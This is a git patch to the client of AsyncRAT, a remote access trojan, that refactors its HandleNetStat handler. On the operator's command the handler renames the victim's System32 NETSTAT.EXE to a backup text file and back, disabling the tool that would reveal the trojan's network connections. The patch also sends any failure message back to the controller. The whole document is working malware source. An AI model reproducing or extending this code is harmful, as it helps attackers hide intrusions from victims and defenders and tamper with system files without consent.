From 44a51e759cc440042f56add4ee8f30d97e07a13b Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Mon, 17 Jun 2019 12:12:22 +0300 Subject: [PATCH] Remove hardcoded paths --- .../{HandleNetStat => HandleNetStat.cs} | 25 +++++++++++++------ 1 file changed, 18 insertions(+), 7 deletions(-) rename AsyncRAT-C#/Client/Handle Packet/{HandleNetStat => HandleNetStat.cs} (50%) diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleNetStat b/AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs similarity index 50% rename from AsyncRAT-C#/Client/Handle Packet/HandleNetStat rename to AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs index 1bff2b8..b4f4e1b 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleNetStat +++ b/AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs @@ -1,11 +1,16 @@ using Client.Helper; using System; +using System.Diagnostics; +using System.IO; namespace Client.Handle_Packet { - class HandleNetStat + public static class HandleNetStat { static bool switcher = false; + static readonly string OriginalFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.EXE"); + static readonly string BackupFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.Backup.txt"); + public static void RunNetStat() { //light switch logic CopyPasta by MrDevBot @@ -15,10 +20,13 @@ namespace Client.Handle_Packet { try { - System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.exe", "C:\\Windows\\System32\\NETSTAT.Backup.txt"); + File.Move(OriginalFile, BackupFile); + } + catch (Exception ex)//probably AntiTamper protection or Admin Privilages + { + Debug.WriteLine(ex.Message); + Packet.Error(ex.Message); } - catch(Exception ex) //probably AntiTamper protection or Admin Privilages - { } switcher = true; //sets the switch to on for next click return; //returns to calling function @@ -27,10 +35,13 @@ namespace Client.Handle_Packet { try { - System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.Backup.txt", "C:\\Windows\\System32\\NETSTAT.EXE"); + File.Move(BackupFile, OriginalFile); + } + catch (Exception ex)//probably AntiTamper protection or Admin Privilages + { + Debug.WriteLine(ex.Message); + Packet.Error(ex.Message); } - catch (Exception ex) //probably AntiTamper protection or Admin Privilages - { } switcher = false; //sets the switch to off for next click return; //returns to calling function }